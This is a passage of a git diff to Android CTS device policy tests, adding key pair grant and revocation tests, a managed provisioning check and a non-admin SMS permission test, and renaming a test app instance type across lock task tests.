+ @Postsubmit(reason = "new test")
+ @CanSetPolicyTest(policy = KeyManagement.class)
+ public void installKeyPair_withoutAutomatedAccess_aliasIsNotGranted() throws Exception {
+ try {
+ // Install keypair with automated access
+ sDeviceState.dpc().devicePolicyManager().installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY,
+ CERTIFICATES, RSA_ALIAS, /* requestAccess = */ false);
+
+ // TODO(b/204544478): Remove the null context
+ assertThat(sDeviceState.dpc().keyChain().getPrivateKey(/* context= */ null, RSA_ALIAS))
+ .isNull();
+ } finally {
+ // Remove keypair
+ sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+ }
+ }
+
+ @Test
+ @Postsubmit(reason = "new test")
+ @CanSetPolicyTest(policy = KeyManagement.class)
+ public void removeKeyPair_validRsaKeyPair_success() {
+ try {
+ // Install keypair
+ sDeviceState.dpc().devicePolicyManager()
+ .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATE, RSA_ALIAS);
+ } finally {
+ // Remove keypair
+ assertThat(sDeviceState.dpc().devicePolicyManager()
+ .removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS)).isTrue();
+ }
+ }
+
+ @Test
+ @Postsubmit(reason = "new test")
+ @CanSetPolicyTest(policy = KeyManagement.class)
+ public void hasKeyPair_nonExistentAlias_false() {
+ assertThat(
+ sDeviceState.dpc().devicePolicyManager().hasKeyPair(NON_EXISTENT_ALIAS)).isFalse();
+ }
+
+ @Test
+ @Postsubmit(reason = "new test")
+ @CanSetPolicyTest(policy = KeyManagement.class)
+ public void hasKeyPair_installedAlias_true() {
+ try {
+ // Install keypair
+ sDeviceState.dpc().devicePolicyManager()
+ .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATE, RSA_ALIAS);
+
+ assertThat(sDeviceState.dpc().devicePolicyManager().hasKeyPair(RSA_ALIAS)).isTrue();
+ } finally {
+ // Remove keypair
+ sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+ }
+ }
+
+ @Test
+ @Postsubmit(reason = "new test")
+ @CanSetPolicyTest(policy = KeyManagement.class)
+ public void hasKeyPair_removedAlias_false() {
+ try {
+ // Install keypair
+ sDeviceState.dpc().devicePolicyManager()
+ .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATE, RSA_ALIAS);
+ sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+
+ assertThat(sDeviceState.dpc().devicePolicyManager().hasKeyPair(RSA_ALIAS)).isFalse();
+ } finally {
+ // Remove keypair
+ sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+ }
+ }
+
+ @Test
+ @Postsubmit(reason = "new test")
+ @PositivePolicyTest(policy = KeyManagement.class)
+ @SlowApiTest(reason = "The KeyChain.choosePrivateKeyAlias API sometimes "
+ + "takes a long time to callback")
+ public void choosePrivateKeyAlias_aliasIsSelectedByAdmin_returnAlias() throws Exception {
+ try {
+ // Install keypair
+ sDeviceState.dpc().devicePolicyManager()
+ .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATE, RSA_ALIAS);
+ KeyChainAliasCallback callback = new KeyChainAliasCallback();
+
+ choosePrivateKeyAlias(callback, RSA_ALIAS);
+
+ assertThat(callback.await(KEYCHAIN_CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS))
+ .isEqualTo(RSA_ALIAS);
+ } finally {
+ // Remove keypair
+ sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+ }
+ }
+
+ @Test
+ @Postsubmit(reason = "new test")
+ @PositivePolicyTest(policy = KeyManagement.class)
+ @SlowApiTest(reason = "The KeyChain.choosePrivateKeyAlias API sometimes "
+ + "takes a long time to callback")
+ public void choosePrivateKeyAlias_nonUserSelectedAliasIsSelectedByAdmin_returnAlias()
+ throws Exception {
+ try {
+ // Install keypair which is not user selectable
+ sDeviceState.dpc().devicePolicyManager().installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY,
+ CERTIFICATES, RSA_ALIAS, /* flags = */ 0);
+ KeyChainAliasCallback callback = new KeyChainAliasCallback();
+
+ choosePrivateKeyAlias(callback, RSA_ALIAS);
+
+ assertThat(callback.await(KEYCHAIN_CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS))
+ .isEqualTo(RSA_ALIAS);
+ } finally {
+ // Remove keypair
+ sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+ }
+ }
+
+ @Test
+ @Postsubmit(reason = "new test")
+ @PositivePolicyTest(policy = KeyManagement.class)
+ @SlowApiTest(reason = "The KeyChain.choosePrivateKeyAlias API sometimes "
+ + "takes a long time to callback")
+ public void getPrivateKey_aliasIsGranted_returnPrivateKey() throws Exception {
+ try {
+ // Install keypair
+ sDeviceState.dpc().devicePolicyManager()
+ .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATE, RSA_ALIAS);
+ // Grant alias via {@code KeyChain.choosePrivateKeyAlias}
+ KeyChainAliasCallback callback = new KeyChainAliasCallback();
+ choosePrivateKeyAlias(callback, RSA_ALIAS);
+ callback.await(KEYCHAIN_CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+
+ // Get private key for the granted alias
+ final PrivateKey privateKey =
+ getPrivateKey(TestApis.context().instrumentedContext(), RSA_ALIAS);
+
+ assertThat(privateKey).isNotNull();
+ assertThat(privateKey.getAlgorithm()).isEqualTo(RSA);
+
+ } finally {
+ // Remove keypair
+ sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+ }
+ }
+
+ @Test
+ @Postsubmit(reason = "new test")
+ @CanSetPolicyTest(policy = KeyManagement.class)
+ public void install_wasPreviouslyGrantedOnPreviousInstall_grantDoesNotPersist()
+ throws Exception {
+ try {
+ sDeviceState.dpc().devicePolicyManager()
+ .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATES, RSA_ALIAS, true);
+ sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+
+ sDeviceState.dpc().devicePolicyManager()
+ .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATES, RSA_ALIAS,
+ false);
+
+ assertThat(sDeviceState.dpc().keyChain().getPrivateKey(
+ TestApis.context().instrumentedContext(), RSA_ALIAS))
+ .isNull();
+ } finally {
+ // Remove keypair
+ sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+ }
+ }
+
+ @Test
+ @Postsubmit(reason = "new test")
+ @CanSetPolicyTest(policy = KeyManagement.class, singleTestOnly = true)
+ public void getKeyPairGrants_nonExistent_throwsIllegalArgumentException() {
+ Assert.assertThrows(IllegalArgumentException.class,
+ () -> sDeviceState.dpc().devicePolicyManager()
+ .getKeyPairGrants(NON_EXISTENT_ALIAS));
+ }
+
+ @Test
+ @Postsubmit(reason = "new test")
+ @CanSetPolicyTest(policy = KeyManagement.class)
+ public void getKeyPairGrants_doesNotIncludeNotGranted() {
+ try {
+ sDeviceState.dpc().devicePolicyManager().installKeyPair(
+ DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATES,
+ RSA_ALIAS, /* requestAccess= */ false);
+
+ assertThat(
+ sDeviceState.dpc().devicePolicyManager().getKeyPairGrants(RSA_ALIAS)).isEmpty();
+ } finally {
+ // Remove keypair
+ sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+ }
+ }
+
+ @Test
+ @Postsubmit(reason = "new test")
+ @CanSetPolicyTest(policy = KeyManagement.class)
+ public void getKeyPairGrants_includesGrantedAtInstall() {
+ try {
+ sDeviceState.dpc().devicePolicyManager().installKeyPair(
+ DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATES,
+ RSA_ALIAS, /* requestAccess= */ true);
+
+ assertThat(sDeviceState.dpc().devicePolicyManager().getKeyPairGrants(RSA_ALIAS))
+ .isEqualTo(Map.of(sDeviceState.dpc().process().uid(),
+ singleton(sDeviceState.dpc().componentName().getPackageName())));
+ } finally {
+ // Remove keypair
+ sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+ }
+ }
+
+ @Test
+ @Postsubmit(reason = "new test")
+ @PositivePolicyTest(policy = KeyManagement.class)
+ public void getKeyPairGrants_includesGrantedExplicitly() {
+ try {
+ sDeviceState.dpc().devicePolicyManager().installKeyPair(
+ DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATES,
+ RSA_ALIAS, /* requestAccess= */ false);
+ sDeviceState.dpc().devicePolicyManager().grantKeyPairToApp(
+ DPC_COMPONENT_NAME, RSA_ALIAS,
+ sContext.getPackageName());
+
+ assertThat(sDeviceState.dpc().devicePolicyManager().getKeyPairGrants(RSA_ALIAS))
+ .isEqualTo(Map.of(Process.myUid(),
+ singleton(sContext.getPackageName())));
+ } finally {
+ // Remove keypair
+ sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+ }
+ }
+
+ @Test
+ @Postsubmit(reason = "new test")
+ @CanSetPolicyTest(policy = KeyManagement.class)
+ public void getKeyPairGrants_doesNotIncludeRevoked() {
+ try {
+ sDeviceState.dpc().devicePolicyManager().installKeyPair(
+ DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATES,
+ RSA_ALIAS, /* requestAccess= */ true);
+ sDeviceState.dpc().devicePolicyManager().revokeKeyPairFromApp(
+ DPC_COMPONENT_NAME, RSA_ALIAS,
+ sDeviceState.dpc().componentName().getPackageName());
+
+ assertThat(
+ sDeviceState.dpc().devicePolicyManager().getKeyPairGrants(RSA_ALIAS)).isEmpty();
+ } finally {
+ // Remove keypair
+ sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+ }
+ }
+
+ @Test
+ @Postsubmit(reason = "new test")
+ @CanSetPolicyTest(policy = KeyManagement.class)
+ public void isKeyPairGrantedToWifiAuth_default_returnsFalse() {
+ try {
+ sDeviceState.dpc().devicePolicyManager().installKeyPair(
+ DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATES,
+ RSA_ALIAS, /* requestAccess= */ false);
+
+ assertThat(
+ sDeviceState.dpc().devicePolicyManager().isKeyPairGrantedToWifiAuth(RSA_ALIAS))
+ .isFalse();
+ } finally {
+ // Remove keypair
+ sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+ }
+ }
+
+ @Test
+ @Postsubmit(reason = "new test")
+ @CanSetPolicyTest(policy = KeyManagement.class)
+ public void isKeyPairGrantedToWifiAuth_granted_returnsTrue() {
+ try {
+ sDeviceState.dpc().devicePolicyManager().installKeyPair(
+ DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATES,
+ RSA_ALIAS, /* requestAccess= */ false);
+ sDeviceState.dpc().devicePolicyManager().grantKeyPairToWifiAuth(RSA_ALIAS);
+
+ assertThat(
+ sDeviceState.dpc().devicePolicyManager().isKeyPairGrantedToWifiAuth(RSA_ALIAS))
+ .isTrue();
+ } finally {
+ // Remove keypair
+ sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+ }
+ }
+
+ @Test
+ @Postsubmit(reason = "new test")
+ @CanSetPolicyTest(policy = KeyManagement.class)
+ public void isKeyPairGrantedToWifiAuth_revoked_returnsFalse() {
+ try {
+ sDeviceState.dpc().devicePolicyManager().installKeyPair(
+ DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATES,
+ RSA_ALIAS, /* requestAccess= */ false);
+ sDeviceState.dpc().devicePolicyManager().grantKeyPairToWifiAuth(RSA_ALIAS);
+ sDeviceState.dpc().devicePolicyManager().revokeKeyPairFromWifiAuth(RSA_ALIAS);
+
+ assertThat(
+ sDeviceState.dpc().devicePolicyManager().isKeyPairGrantedToWifiAuth(RSA_ALIAS))
+ .isFalse();
+ } finally {
+ // Remove keypair
+ sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+ }
+ }
+
+ @Test
+ @Postsubmit(reason = "new test")
+ @PositivePolicyTest(policy = KeyManagement.class)
+ public void grantKeyPair_keyUsable() throws Exception {
+ try {
+ sDeviceState.dpc().devicePolicyManager().installKeyPair(
+ DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATES,
+ RSA_ALIAS, /* requestAccess= */ false);
+ sDeviceState.dpc().devicePolicyManager().grantKeyPairToApp(
+ DPC_COMPONENT_NAME, RSA_ALIAS, sContext.getPackageName()
+ );
+
+ PrivateKey key = KeyChain.getPrivateKey(sContext, RSA_ALIAS);
+
+ signDataWithKey("SHA256withRSA", key); // Doesn't throw exception
+ } finally {
+ // Remove keypair
+ sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+ }
+ }
+
+ @Test
+ @Postsubmit(reason = "new test")
+ @PositivePolicyTest(policy = KeyManagement.class)
+ public void revokeKeyPairFromApp_keyNotUsable() throws Exception {
+ try {
+ sDeviceState.dpc().devicePolicyManager().installKeyPair(
+ DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATES,
+ RSA_ALIAS, /* requestAccess= */ false);
+ sDeviceState.dpc().devicePolicyManager().grantKeyPairToApp(
+ DPC_COMPONENT_NAME, RSA_ALIAS, sContext.getPackageName()
+ );
+ // Key is requested from KeyChain prior to revoking the grant.
+ PrivateKey key = KeyChain.getPrivateKey(sContext, RSA_ALIAS);
+
+ sDeviceState.dpc().devicePolicyManager().revokeKeyPairFromApp(
+ DPC_COMPONENT_NAME, RSA_ALIAS, sContext.getPackageName());
+
+ // Key shouldn't be valid after the grant is revoked.
+ Assert.assertThrows(
+ InvalidKeyException.class, () -> signDataWithKey("SHA256withRSA", key));
+ } finally {
+ // Remove keypair
+ sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+ }
+ }
+
+ private byte[] signDataWithKey(String algoIdentifier, PrivateKey privateKey) throws Exception {
+ byte[] data = "hello".getBytes();
+ Signature sign = Signature.getInstance(algoIdentifier);
+ sign.initSign(privateKey);
+ sign.update(data);
+ return sign.sign();
+ }
+
+ private static class KeyChainAliasCallback extends BlockingCallback<String> implements
+ android.security.KeyChainAliasCallback {
+
+ @Override
+ public void alias(final String chosenAlias) {
+ callbackTriggered(chosenAlias);
+ }
+ }
}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/LockTaskTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/LockTaskTest.java
index d3d136d..758d794 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/LockTaskTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/LockTaskTest.java
@@ -68,7 +68,7 @@
import com.android.bedstead.testapp.TestApp;
import com.android.bedstead.testapp.TestAppActivity;
import com.android.bedstead.testapp.TestAppActivityReference;
-import com.android.bedstead.testapp.TestAppInstanceReference;
+import com.android.bedstead.testapp.TestAppInstance;
import com.android.bedstead.testapp.TestAppProvider;
import org.junit.ClassRule;
@@ -149,7 +149,7 @@
.getLockTaskPackages(DPC_COMPONENT_NAME);
try (EnterpriseMetricsRecorder metrics = EnterpriseMetricsRecorder.create();
- TestAppInstanceReference testApp = sTestApp.install()) {
+ TestAppInstance testApp = sTestApp.install()) {
sDeviceState.dpc().devicePolicyManager()
.setLockTaskPackages(DPC_COMPONENT_NAME, new String[]{sTestApp.packageName()});
Activity<TestAppActivity> activity = testApp.activities().any().start();
@@ -432,7 +432,7 @@
.getLockTaskPackages(DPC_COMPONENT_NAME);
sDeviceState.dpc().devicePolicyManager()
.setLockTaskPackages(DPC_COMPONENT_NAME, new String[]{sTestApp.packageName()});
- try (TestAppInstanceReference testApp = sTestApp.install()) {
+ try (TestAppInstance testApp = sTestApp.install()) {
Activity<TestAppActivity> activity = testApp.activities().any().start();
activity.startLockTask();
@@ -460,7 +460,7 @@
.getLockTaskPackages(DPC_COMPONENT_NAME);
sDeviceState.dpc().devicePolicyManager()
.setLockTaskPackages(DPC_COMPONENT_NAME, new String[]{});
- try (TestAppInstanceReference testApp = sTestApp.install()) {
+ try (TestAppInstance testApp = sTestApp.install()) {
Activity<TestAppActivity> activity = testApp.activities().any().start();
activity.activity().startLockTask();
@@ -487,7 +487,7 @@
.getLockTaskPackages(DPC_COMPONENT_NAME);
sDeviceState.dpc().devicePolicyManager()
.setLockTaskPackages(DPC_COMPONENT_NAME, new String[]{sTestApp.packageName()});
- try (TestAppInstanceReference testApp = sTestApp.install()) {
+ try (TestAppInstance testApp = sTestApp.install()) {
Activity<TestAppActivity> activity = testApp.activities().any().start();
activity.activity().startLockTask();
@@ -515,7 +515,7 @@
.getLockTaskPackages(DPC_COMPONENT_NAME);
sDeviceState.dpc().devicePolicyManager()
.setLockTaskPackages(DPC_COMPONENT_NAME, new String[]{sTestApp.packageName()});
- try (TestAppInstanceReference testApp = sTestApp.install()) {
+ try (TestAppInstance testApp = sTestApp.install()) {
Activity<TestAppActivity> activity = testApp.activities().any().start();
activity.startLockTask();
@@ -546,7 +546,7 @@
.getLockTaskPackages(DPC_COMPONENT_NAME);
sDeviceState.dpc().devicePolicyManager()
.setLockTaskPackages(DPC_COMPONENT_NAME, new String[]{sTestApp.packageName()});
- try (TestAppInstanceReference testApp = sTestApp.install()) {
+ try (TestAppInstance testApp = sTestApp.install()) {
Activity<TestAppActivity> activity = testApp.activities().any().start();
activity.startLockTask();
activity.stopLockTask();
@@ -571,7 +571,7 @@
.getLockTaskPackages(DPC_COMPONENT_NAME);
sDeviceState.dpc().devicePolicyManager()
.setLockTaskPackages(DPC_COMPONENT_NAME, new String[]{sTestApp.packageName()});
- try (TestAppInstanceReference testApp = sTestApp.install()) {
+ try (TestAppInstance testApp = sTestApp.install()) {
Activity<TestAppActivity> activity = testApp.activities().any().start();
activity.startLockTask();
@@ -597,8 +597,8 @@
sDeviceState.dpc().devicePolicyManager()
.setLockTaskPackages(DPC_COMPONENT_NAME,
new String[]{sTestApp.packageName(), sSecondTestApp.packageName()});
- try (TestAppInstanceReference testApp = sTestApp.install();
- TestAppInstanceReference testApp2 = sSecondTestApp.install()) {
+ try (TestAppInstance testApp = sTestApp.install();
+ TestAppInstance testApp2 = sSecondTestApp.install()) {
Activity<TestAppActivity> activity = testApp.activities().any().start();
activity.startLockTask();
Activity<TestAppActivity> activity2 = testApp2.activities().any().start();
@@ -630,8 +630,8 @@
String[] originalLockTaskPackages =
sDeviceState.dpc().devicePolicyManager()
.getLockTaskPackages(DPC_COMPONENT_NAME);
- try (TestAppInstanceReference testApp = sTestApp.install();
- TestAppInstanceReference testApp2 = sSecondTestApp.install()) {
+ try (TestAppInstance testApp = sTestApp.install();
+ TestAppInstance testApp2 = sSecondTestApp.install()) {
sDeviceState.dpc().devicePolicyManager()
.setLockTaskPackages(DPC_COMPONENT_NAME, new String[]{sTestApp.packageName()});
Activity<TestAppActivity> firstActivity = testApp.activities().any().start();
@@ -662,8 +662,8 @@
int originalLockTaskFeatures =
sDeviceState.dpc().devicePolicyManager()
.getLockTaskFeatures(DPC_COMPONENT_NAME);
- try (TestAppInstanceReference testApp = sTestApp.install();
- TestAppInstanceReference testApp2 = sSecondTestApp.install()) {
+ try (TestAppInstance testApp = sTestApp.install();
+ TestAppInstance testApp2 = sSecondTestApp.install()) {
try {
sDeviceState.dpc().devicePolicyManager()
.setLockTaskPackages(DPC_COMPONENT_NAME,
@@ -703,8 +703,8 @@
int originalLockTaskFeatures =
sDeviceState.dpc().devicePolicyManager()
.getLockTaskFeatures(DPC_COMPONENT_NAME);
- try (TestAppInstanceReference testApp = sTestApp.install();
- TestAppInstanceReference testApp2 = sSecondTestApp.install()) {
+ try (TestAppInstance testApp = sTestApp.install();
+ TestAppInstance testApp2 = sSecondTestApp.install()) {
try {
sDeviceState.dpc().devicePolicyManager()
.setLockTaskPackages(DPC_COMPONENT_NAME,
@@ -742,8 +742,8 @@
String[] originalLockTaskPackages =
sDeviceState.dpc().devicePolicyManager().getLockTaskPackages(DPC_COMPONENT_NAME);
- try (TestAppInstanceReference testApp = sTestApp.install();
- TestAppInstanceReference testApp2 = sSecondTestApp.install()) {
+ try (TestAppInstance testApp = sTestApp.install();
+ TestAppInstance testApp2 = sSecondTestApp.install()) {
try {
sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
new String[]{sTestApp.packageName(), sSecondTestApp.packageName()});
@@ -772,8 +772,8 @@
String[] originalLockTaskPackages =
sDeviceState.dpc().devicePolicyManager().getLockTaskPackages(DPC_COMPONENT_NAME);
- try (TestAppInstanceReference testApp = sTestApp.install();
- TestAppInstanceReference testApp2 = sSecondTestApp.install()) {
+ try (TestAppInstance testApp = sTestApp.install();
+ TestAppInstance testApp2 = sSecondTestApp.install()) {
try {
sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
new String[]{sTestApp.packageName()});
@@ -802,7 +802,7 @@
String[] originalLockTaskPackages =
sDeviceState.dpc().devicePolicyManager().getLockTaskPackages(DPC_COMPONENT_NAME);
- try (TestAppInstanceReference testApp = sTestApp.install()) {
+ try (TestAppInstance testApp = sTestApp.install()) {
try {
sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
new String[]{sTestApp.packageName()});
@@ -831,7 +831,7 @@
String[] originalLockTaskPackages =
sDeviceState.dpc().devicePolicyManager().getLockTaskPackages(DPC_COMPONENT_NAME);
- try (TestAppInstanceReference testApp = sTestApp.install()) {
+ try (TestAppInstance testApp = sTestApp.install()) {
try {
sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
new String[]{});
@@ -854,7 +854,7 @@
String[] originalLockTaskPackages =
sDeviceState.dpc().devicePolicyManager().getLockTaskPackages(DPC_COMPONENT_NAME);
- try (TestAppInstanceReference testApp = sLockTaskTestApp.install()) {
+ try (TestAppInstance testApp = sLockTaskTestApp.install()) {
sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
new String[]{sLockTaskTestApp.packageName()});
Activity<TestAppActivity> activity = testApp.activities().query()
@@ -884,7 +884,7 @@
String[] originalLockTaskPackages =
sDeviceState.dpc().devicePolicyManager().getLockTaskPackages(DPC_COMPONENT_NAME);
- try (TestAppInstanceReference testApp = sLockTaskTestApp.install()) {
+ try (TestAppInstance testApp = sLockTaskTestApp.install()) {
sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
new String[]{});
Activity<TestAppActivity> activity = testApp.activities().query()
@@ -914,7 +914,7 @@
String[] originalLockTaskPackages =
sDeviceState.dpc().devicePolicyManager().getLockTaskPackages(DPC_COMPONENT_NAME);
- try (TestAppInstanceReference testApp = sLockTaskTestApp.install()) {
+ try (TestAppInstance testApp = sLockTaskTestApp.install()) {
sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
new String[]{sLockTaskTestApp.packageName()});
Activity<TestAppActivity> activity = testApp.activities().query()
@@ -948,7 +948,7 @@
String[] originalLockTaskPackages =
sDeviceState.dpc().devicePolicyManager().getLockTaskPackages(DPC_COMPONENT_NAME);
- try (TestAppInstanceReference testApp = sLockTaskTestApp.install()) {
+ try (TestAppInstance testApp = sLockTaskTestApp.install()) {
sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
new String[]{sLockTaskTestApp.packageName()});
Activity<TestAppActivity> activity = testApp.activities().query()
@@ -1019,7 +1019,7 @@
sDeviceState.dpc().devicePolicyManager().getLockTaskFeatures(DPC_COMPONENT_NAME);
String emergencyDialerPackageName = getEmergencyDialerPackageName();
assumeFalse(emergencyDialerPackageName == null);
- try (TestAppInstanceReference testApp = sLockTaskTestApp.install()) {
+ try (TestAppInstance testApp = sLockTaskTestApp.install()) {
sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
new String[]{sLockTaskTestApp.packageName()});
sDeviceState.dpc().devicePolicyManager()
@@ -1059,7 +1059,7 @@
sDeviceState.dpc().devicePolicyManager().getLockTaskFeatures(DPC_COMPONENT_NAME);
String emergencyDialerPackageName = getEmergencyDialerPackageName();
assumeFalse(emergencyDialerPackageName == null);
- try (TestAppInstanceReference testApp = sLockTaskTestApp.install()) {
+ try (TestAppInstance testApp = sLockTaskTestApp.install()) {
sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
DPC_COMPONENT_NAME, new String[]{sLockTaskTestApp.packageName()});
sDeviceState.dpc().devicePolicyManager().setLockTaskFeatures(DPC_COMPONENT_NAME,
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/ManagedProvisioningTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/ManagedProvisioningTest.java
new file mode 100644
index 0000000..00475eb
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/ManagedProvisioningTest.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static android.content.pm.PackageManager.FEATURE_DEVICE_ADMIN;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.RequireFeature;
+import com.android.bedstead.nene.TestApis;
+
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(BedsteadJUnit4.class)
+public final class ManagedProvisioningTest {
+
+ private static final String MANAGED_PROVISIONING_PKG = "com.android.managedprovisioning";
+
+ @ClassRule @Rule
+ public static final DeviceState sDeviceState = new DeviceState();
+
+ @Test
+ @RequireFeature(FEATURE_DEVICE_ADMIN)
+ public void managedProvisioning_isInstalledInSystemImage() throws Exception {
+ assertThat(TestApis.packages().find(MANAGED_PROVISIONING_PKG).hasSystemFlag()).isTrue();
+ }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/PermissionGrantTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/PermissionGrantTest.java
index 3994a10..5f4bacb 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/PermissionGrantTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/PermissionGrantTest.java
@@ -34,6 +34,8 @@
import static com.google.common.truth.Truth.assertWithMessage;
+import static org.testng.Assert.assertThrows;
+
import com.android.bedstead.harrier.BedsteadJUnit4;
import com.android.bedstead.harrier.DeviceState;
import com.android.bedstead.harrier.annotations.AfterClass;
@@ -49,7 +51,7 @@
import com.android.bedstead.nene.TestApis;
import com.android.bedstead.nene.notifications.NotificationListener;
import com.android.bedstead.testapp.TestApp;
-import com.android.bedstead.testapp.TestAppInstanceReference;
+import com.android.bedstead.testapp.TestAppInstance;
import com.android.bedstead.testapp.TestAppProvider;
import com.google.common.collect.ImmutableSet;
@@ -114,7 +116,7 @@
).wherePermissions().doesNotContain(
NOT_DECLARED_PERMISSION
).get();
- private static TestAppInstanceReference sTestAppInstance;
+ private static TestAppInstance sTestAppInstance;
@BeforeClass
public static void setupClass() {
@@ -557,7 +559,7 @@
}
@Test
- @CannotSetPolicyTest(policy = SetSmsPermissionGranted.class)
+ @CannotSetPolicyTest(policy = SetSmsPermissionGranted.class, includeNonDeviceAdminStates = false)
public void grantSmsPermission_cannotBeApplied_returnsTrueButDoesNotSetGrantState() {
int existingGrantState = sDeviceState.dpc().devicePolicyManager()
.getPermissionGrantState(sDeviceState.dpc().componentName(),
@@ -583,6 +585,15 @@
}
@Test
+ @CannotSetPolicyTest(policy = SetSmsPermissionGranted.class, includeNonDeviceAdminStates = false)
+ public void grantSmsPermission_nonDeviceAdmin_throwsException() {
+ assertThrows(SecurityException.class,
+ () -> sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+ sDeviceState.dpc().componentName(), sTestApp.packageName(),
+ READ_SMS, PERMISSION_GRANT_STATE_GRANTED));
+ }
+
+ @Test
@CannotSetPolicyTest(policy = SetSensorPermissionGranted.class)
public void grantSensorPermission_cannotBeApplied_returnsTrueButDoesNotSetGrantState() {
// TODO(b/188893663): Replace with parameterization
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/ScreenCaptureDisabledTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/ScreenCaptureDisabledTest.java
index c31cc34..37c9bdb 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/ScreenCaptureDisabledTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/ScreenCaptureDisabledTest.java
@@ -41,7 +41,7 @@
import com.android.bedstead.metricsrecorder.EnterpriseMetricsRecorder;
import com.android.bedstead.nene.utils.Poll;
import com.android.bedstead.testapp.TestApp;
